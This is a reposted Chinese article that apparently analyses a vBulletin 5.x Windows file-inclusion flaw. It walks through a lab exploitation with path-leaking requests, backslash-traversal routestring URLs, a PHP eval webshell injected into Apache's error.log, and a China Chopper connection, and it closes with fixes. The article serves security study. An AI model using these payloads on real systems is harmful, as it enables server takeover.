首頁  >  文章  >  運維  >  vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

王林
王林轉載
2023-05-19 23:46:041330瀏覽

一、漏洞介紹

vBulletin中存在一個檔案包含問題,可使惡意訪客包含來自 vBulletin 伺服器的檔案並且執行任意 PHP 程式碼。未經驗證的惡意訪客可透過向index.php發出包含routestring=參數的GET 請求,從而觸發檔案包含漏洞,最終導致遠端程式碼執行漏洞

二、漏洞原理

index.php頁面發送GET請求去使用routestring參數包含本機檔案時,層層呼叫功能函數會對routestring的值進行過濾,我們來看主要的處理程式碼。

程式碼位於/includes/vb5/frontend/routing.php檔案

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

這段程式碼判斷routestring取得的值是否以.gif, .png, .jpg, .css or .js結尾,如果是則頭部訊息回傳404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

這段程式碼中strpos()函數傳回/字元在$path中第一次出現的位置,若傳回訊息為false才會繼續處理,也就是說路徑中不能出現/

對於Linux伺服器,處理URL時,/表示目錄層的分隔、表示符,所以這裡無法以多個../的方式包含網站中的其他檔案。但是對於Windows伺服器,/和\在表達路徑時,是等價的,而程式並沒有對\進行處理,所以導致本次針對Windows伺服器的檔案包含漏洞。

影響版本

版本號vBulletin v5.x版本 漏洞發現者已聯絡廠商,暫未得到回應

三、漏洞利用

接下來的實操部分,我們將逐步深入漏洞的理解和利用,先利用頁面報錯,獲取伺服器相關資訊;再包含伺服器內部文件,執行phpinfo()驗證程式碼執行;最後包含寫入PHP一句話的網站日誌文件,取得網站管理權限。

步驟1  漏洞驗證

這一步,我們簡單利用報錯獲取伺服器信息,然後利用漏洞去包含執行phpinfo()函數進行驗證

1.開啟目標網址172.16.12.2/vb5/index.php,網站首頁如下:

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

2.造訪漏洞頁面,查看報錯資訊

#在瀏覽器中開啟172.16 .12.2/vb5/index.php?routestring=.\\,報錯資訊如下:

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

可以看見頁面使用require_once()包含目前路徑(C:\phpstudy\ WWW\vb5/core/.\\)時不被允許而報錯,報錯資訊洩露了網站的絕對路徑,以及網站搭建軟體:phpstudy

phpstudy 搭建網站時,預設會在網站根目錄留下 l.php和phpinfo.php文件,通常網站管理員會刪除或修改這兩個文件因為\還有轉義的含義,而表示路徑時\\和\是等價的,所以我們使用\\防止被轉義(本實驗\也可完成)

3.訪問phpinfo.txt檔案

此處為了驗證包含漏洞,網站根目錄下存有phpinfo.txt文件,內容為,我們嘗試直接存取該文件,http://172.16.12.2/phpinfo.txt

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

網站直接將文字內容顯示出來了

4.包含phpinfo.txt檔案

我們接著嘗試包含該檔案,開啟建構的連結http://172.16.12.2/vb5/index .php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

這裡我們已知曉網站在伺服器上的絕對路徑,所以使用多個..\\加上文件路徑,表示被包含文件的網站路徑,包含該文件後,伺服器將文件當做php檔進行解析,執行了phpinfo()函數。

phpinfo():PHP內建函數,輸出PHP伺服器的設定資訊

#步驟2 漏洞利用

一般情況下,PHP文件包含漏洞利用的方式都是先利用網站上傳點,上傳含有惡意程式碼的文件,然後找到上傳後的文件路徑,建構URL,透過包含漏洞執行惡意程式碼。但是,如果網站本身無可利用的上傳點,或者對上傳的文件做了限制,使得我們無法獲知文件的路徑,亦或者對輸入時獲取的參數做出過濾,這種方法就行不通了。

由上述可知,程式對包含的檔案後綴做出了限制,在沒有其他利用的情況下,我們可以選擇包含網站本身存在檔案的方式,也就是本次實驗的利用方式:包含網站日誌檔

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

具体配置如下图,修改后确定

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

以上是vBulletin5.x版本通殺遠端程式碼執行漏洞的實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除